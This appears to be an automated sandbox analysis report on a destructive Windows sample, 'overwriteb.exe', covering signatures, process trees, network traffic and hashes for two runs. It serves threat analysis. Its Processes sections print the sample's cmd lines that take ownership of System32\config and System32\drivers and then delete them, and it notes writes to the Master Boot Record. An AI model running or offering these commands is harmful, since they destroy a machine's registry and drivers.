Malware Analysis Report

2024-11-16 12:49

Sample ID 240810-vxhkdstdle
Target overwriteb.exe
SHA256 c7230bb80217286fc85f8f174c02226c9b511901706ba7af6576400c7c7fc536
Tags
bootkit discovery exploit persistence
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

c7230bb80217286fc85f8f174c02226c9b511901706ba7af6576400c7c7fc536

Threat Level: Likely malicious

The file overwriteb.exe was found to be: Likely malicious.

Malicious Activity Summary

bootkit discovery exploit persistence

Possible privilege escalation attempt

Modifies file permissions

Checks computer location settings

Writes to the Master Boot Record (MBR)

Enumerates physical storage devices

Browser Information Discovery

Unsigned PE

Suspicious use of SendNotifyMessage

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-10 17:21

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-10 17:21

Reported

2024-08-10 17:24

Platform

win7-20240708-en

Max time kernel

35s

Max time network

45s

Command Line

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File created \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2716 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2716 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2716 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2716 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2716 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2716 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2696 wrote to memory of 2728 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2696 wrote to memory of 2728 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2696 wrote to memory of 2728 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2788 wrote to memory of 2604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2788 wrote to memory of 2604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2788 wrote to memory of 2604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2696 wrote to memory of 2936 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2696 wrote to memory of 2936 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2696 wrote to memory of 2936 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2788 wrote to memory of 2592 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2788 wrote to memory of 2592 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2788 wrote to memory of 2592 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2588 wrote to memory of 2620 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 2620 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 2620 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 1944 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 2176 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 2176 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 2176 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2588 wrote to memory of 2912 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Users\Admin\AppData\Local\Temp\overwriteb.exe

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant Everyone:(F)

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant Everyone:(F)

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef72d9758,0x7fef72d9768,0x7fef72d9778

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1128 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1420 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1504 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2128 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2136 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1776 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1124 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3664 --field-trial-handle=1304,i,15734692982368008192,5840548122583974637,131072 /prefetch:8

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe

C:\Windows\system32\wininit.exe

"C:\Windows\system32\wininit.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 accounts.server.lan udp
US 8.8.8.8:53 clients2.server.lan udp
US 8.8.8.8:53 www.google.com udp
NL 142.250.179.196:443 www.google.com tcp
NL 142.250.179.196:443 www.google.com tcp
NL 142.250.179.196:443 www.google.com tcp
NL 142.250.179.196:443 www.google.com udp
N/A 224.0.0.251:5353 udp

Files

memory/2716-0-0x000000013F370000-0x000000013F51F000-memory.dmp

memory/2716-1-0x000000013F370000-0x000000013F51F000-memory.dmp

\??\pipe\crashpad_2588_RELJGTZUYAPXBXSJ

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000007.dbtmp

MD5 18e723571b00fb1694a3bad6c78e4054
SHA1 afcc0ef32d46fe59e0483f9a3c891d3034d12f32
SHA256 8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
SHA512 43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

memory/2716-67-0x000000013F370000-0x000000013F51F000-memory.dmp

memory/1808-72-0x000000001B660000-0x000000001B942000-memory.dmp

memory/1808-73-0x00000000026E0000-0x00000000026E8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-10 17:21

Reported

2024-08-10 17:23

Platform

win10v2004-20240802-en

Max time kernel

54s

Max time network

47s

Command Line

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File created \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4472 wrote to memory of 4532 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 4472 wrote to memory of 4532 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 4472 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 4472 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 4532 wrote to memory of 3568 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4532 wrote to memory of 3568 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 3468 wrote to memory of 3228 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 3468 wrote to memory of 3228 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4532 wrote to memory of 5100 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 4532 wrote to memory of 5100 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 3468 wrote to memory of 760 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 3468 wrote to memory of 760 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 4472 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4472 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\overwriteb.exe

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant Everyone:(F)

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant Everyone:(F)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe

C:\Windows\system32\wininit.exe

"C:\Windows\system32\wininit.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 34.56.20.217.in-addr.arpa udp

Files

memory/4472-0-0x00007FF75B9B0000-0x00007FF75BB5F000-memory.dmp

memory/4472-1-0x00007FF75B9B0000-0x00007FF75BB5F000-memory.dmp

memory/4472-2-0x00007FF75B9B0000-0x00007FF75BB5F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3qebsucv.w4m.ps1

